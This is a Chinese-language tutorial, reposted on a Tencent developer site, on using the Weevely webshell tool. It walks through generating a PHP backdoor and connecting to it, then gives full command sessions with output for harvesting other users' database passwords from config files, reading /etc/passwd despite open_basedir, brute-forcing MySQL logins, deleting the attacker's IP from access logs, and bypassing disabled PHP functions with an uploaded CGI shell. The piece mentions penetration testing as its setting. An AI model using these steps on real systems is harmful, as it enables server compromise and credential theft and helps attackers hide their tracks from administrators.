首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

weevely用法

Weevely简介

Weevely是一款python编写的webshell管理工具,作为编写语言使用python的一款工具,它最大的优点就在于跨平台,可以在任何安装过python的系统上使用。本文介绍的不是它最基本的功能,而是在渗透测试过程中使用它的奇淫技巧。

安装运行

Linux:(python2.7版本的Debian/Ubuntu)

$sudo apt-get install g++ python-pip libyaml-dev python-dev

$sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade

OS X

$ sudo port install python27 py27-pip

$ sudo port select --set pip pip27

$ sudo port select --set python python27

$ sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade

Windows

pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade

安装Python 2.7和pip包管理器,然后使用ez_setup.py安装。

基本用法

root@kali:~# weevely

[+] weevely 3.2.0

[!] Error: too few arguments

[+] Run terminal to the target

weevely

[cmd]

[+] Load session file

weevely session

[cmd]

[+] Generate backdoor agent

weevely generate

生成一个后门木马:

root@kali:~# weevely generate test hello.php

Generated backdoor with password 'test' in 'hello.php' of 1486 byte size.

root@kali:~# find / -name hello.php

/usr/share/weevely/hello.php

连接后门:

root@kali:~# weevely http://192.168.110.129/hello.php test

[+] weevely 3.2.0

[+] Target: winxp-0947be9ad:C:\phpstudy\WWW

[+] Session: /root/.weevely/sessions/192.168.110.129/hello_0.session

[+] Shell: System shell

[+] Browse the filesystem or execute commands starts the connection

[+] to the target. Type :help for more information.

weevely>

奇淫技巧

获取其他用户的凭据

本技巧演示如何在共享的托管服务器上获取其他用户凭据

1、查找包含其他web用户的文件夹

weevely> ls

.

..

members

www-data@target:/var/www PHP> cd members

www-data@target:/var/www/members PHP> ls

.

..

alefst

anssot

latrwo

leempt

martol

natsta

rogjas

rotozy

tstanc

virots

yynost

www-data@target:/var/www/members PHP>

2、使用grep命令查找其他用户存储在php脚本中的密码

www-data@target:/var/www/members PHP> grep . '^[^*/#]*passw?o?r?d?'

./virots/config.php:$CFG->dbpass = 'FFFklasdhas()asdjj'; // your database password

./anssot/moodle/config.php:$CFG->dbpass = 'kasdhBSAUIGS77&'; // your database password

./leempt/wp/wp-config.php:define('DB_PASSWORD', 'AShasjdh177!@');

./alefst/wordpress/wp-config.php:define('DB_PASSWORD', 'ajhfaifh123!');

./martol/wordpress/wp-config.php:define('DB_PASSWORD', 'monkeydust1234');

./yynost/sites/default/settings.php: 'password' => 'XXyyynotsgoghia(XX',

./martol/drupal-7.x/sites/default/settings.php: 'password' => 'jhj@&&hgdas98k',

./natsta/drupal/sites/default/settings.php: 'password' => '99copacabana',

www-data@target:/var/www/members PHP>

3、我们发现一些连接数据库的语句。

www-data@target:/var/www/members PHP> grep . 'mysql_conn'

./rotozy/joosep-lineon/db.php:$g_link = mysql_connect( '10.4.4.24', 'rotozy', 'rotozy123') or die();

www-data@target:/var/www/members PHP>

4、我们可以使用sql_console模块来连接

www-data@target:/var/www/members PHP> :sql_console -user rotozy -passwd rotozy123 -host 10.4.4.7

rotozy@server7 SQL> SELECT USER();

+----------------+

| rotozy@server7 |

+----------------+

rotozy@server7 SQL>

绕过策略读取/etc/passwd

某些php配置阻止了对系统文件的任何直接访问(参见open_basedir),但是这些文件对于权限提升很有帮助,这时候我们就要想方法绕过了。weevely中的模块audit_etcpasswd帮我们解决了这个问题。

1、我们先尝试直接访问目标文件

www-data@target:/var/www/html PHP> cd /etc

[-][cd] Failed cd '/etc': no such directory or permission denied

www-data@target:/var/www/html PHP> cat /etc/passwd

[-][download] File download failed, please check remote path and permissions

2、不能访问,我们来使用模块audit_etcpasswd

www-data@target:/var/www/html PHP> :audit_etcpasswd --help

usage: audit_etcpasswd [-h] [-real]

[-vector ]

Get /etc/passwd with different techniques.

optional arguments:

-h, --help show this help message and exit

-real Filter only real users

-vector

www-data@target:/var/www/html PHP> :audit_etcpasswd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

yzer:x:1000:1000:yzer,,,:/home/yzer:/bin/bash

www-data@target:/var/www/html PHP>

可以看见成功读取。

猜解SQL用户凭据

本技巧教大家如何猜解多个SQL用户的凭据。

1、先来查看用户,无法直接查看,请看上面一个技巧

www-data@target:/var/www/html PHP> cd ..

[-][cd] Failed cd '..': no such directory or permission denied

www-data@target:/var/www/html PHP> cat /etc/passwd

[-][download] File download failed, please check remote path and permissions

www-data@target:/var/www/html PHP> :audit_etcpasswd -real

root:x:0:0:root:/root:/bin/bash

roblast:x:1000:1000:roblast,,,:/home/roblast:/bin/bash

micjanost:x:1001:1001:micjanost,,,:/home/micjanost:/bin/bash

pjgomes:x:1002:1002:pjgomes,,,:/home/pjgomes:/bin/bash

pdpeers:x:1003:1003:pdpeers,,,:/home/pdpeers:/bin/bash

www-data@target:/var/www/html PHP>

2、使用bruteforce_sql猜解密码

www-data@target:/var/www/html PHP> :bruteforce_sql

error: too few arguments

usage: bruteforce_sql [-h] [-hostname HOSTNAME] [-users [USERS [USERS ...]]]

[-pwds [PWDS [PWDS ...]]] [-fusers FUSERS]

[-fpwds FPWDS]

Bruteforce SQL database

positional arguments:

Service to bruteforce

optional arguments:

-h, --help show this help message and exit

-hostname HOSTNAME Hostname

-users [USERS [USERS ...]]

Users

-pwds [PWDS [PWDS ...]]

Passwords

-fusers FUSERS Local file path containing users list

-fpwds FPWDS Local file path containing password list

www-data@target:/var/www/html PHP> :bruteforce_sql mysql -users roblast micjanost pjgomes pdpeers root -fpwds wordlists/huge.txt

roblast:reckoned

pjgomes:national

root:Gilchrist

www-data@target:/var/www/html PHP>

3、成功猜解除三个用户密码,我们使用sql_console连接

www-data@target:/var/www/html PHP> :sql_console -u root -p Gilchrist

root@localhost SQL> show databases;

+--------------------+

| mysql |

| performance_schema |

| test |

| appdb |

+--------------------+

root@localhost SQL>

日志清理

本技巧教大家如何清除服务器中的跟踪记录。

1、首先找到日志存放的文件夹,下例是存放在log文件夹中

weevely> ls

.

..

htdocs

logs

cpanel

.profile

cgi-bin

member@target:/home/member PHP> cd logs

member@target:/home/member/logs PHP> ls

.

..

access.log

member@target:/home/member/logs PHP>

2、我们使用system_info命令找到我们自己的ip

member@target:/home/member/logs PHP> :system_info -info client_ip

174.122.136.104

member@target:/home/member/logs PHP>

3、我们使用grep命令来确认我们的ip记录在日志文件中

member@target:/home/member/logs PHP> grep access.log 174.122.136.104

174.122.136.104 - - [21/Apr/2015:20:37:04 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.co.uz/url?sa=t&rct=j&source=web&cd=136&ved=d7fQaxNTP&ei=qpG-lx-Uque6l97bG_EZfE&usg=FL237uTSYjAc8DC-d971rS4UUPyWV13nyK" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"

174.122.136.104 - - [21/Apr/2015:20:34:01 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=200QawVTBiv_BPoQJdoQhA-yTa66mtGaEA" "Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)"

174.122.136.104 - - [21/Apr/2015:20:28:24 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=183&ved=DJY1U23wu&ei=GfRq0HsncZ7nn32louwyv0&usg=oYydfzk5nYywMujSFCTAmFvz3i3U7IYMDW" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)"

4、我们可以看到我们IP地址的活动已经被记录,我们可以再次使用grep来从日志中删除我们的ip,然后将其保存到临时文件中

member@target:/home/member/logs PHP> grep access.log -v 174.122.136.104 -output cleaned.log

member@target:/home/member/logs PHP>

5、让我们来测试看看是否已经删除了

member@target:/home/member/logs PHP> grep cleaned.log 174.122.136.104

member@target:/home/member/logs PHP>

6、然后我们就可以用cleaned.log来替换access.log

member@target:/home/member/logs PHP> rm access.log

member@target:/home/member/logs PHP> cp cleaned.log access.log

member@target:/home/member/logs PHP> rm cleaned.log

绕过系统禁用函数

1、我们将使用的是audit_disablefunctionbypass模块,它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell。

weevely>

www-data@target:/var/www/html PHP> :audit_disablefunctionbypass

[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'

[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'

[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated

CGI shell replacement $ ps -aux

PID TTY TIME CMD

24693 ? 00:00:00 apache2

24694 ? 00:00:00 apache2

24695 ? 00:00:00 apache2

24696 ? 00:00:00 apache2

24697 ? 00:00:00 apache2

24859 ? 00:00:00 acubu.ved

24864 ? 00:00:00 ps

CGI shell replacement $ quit

www-data@emilio-lin:/var/www/html PHP>

总结

weevely并不止本文所介绍的这些技巧,具体还是要大家多使用,这样才能发现更多的奇淫技巧,也欢迎大家来分享自己的心得。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180411G1GCWU00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券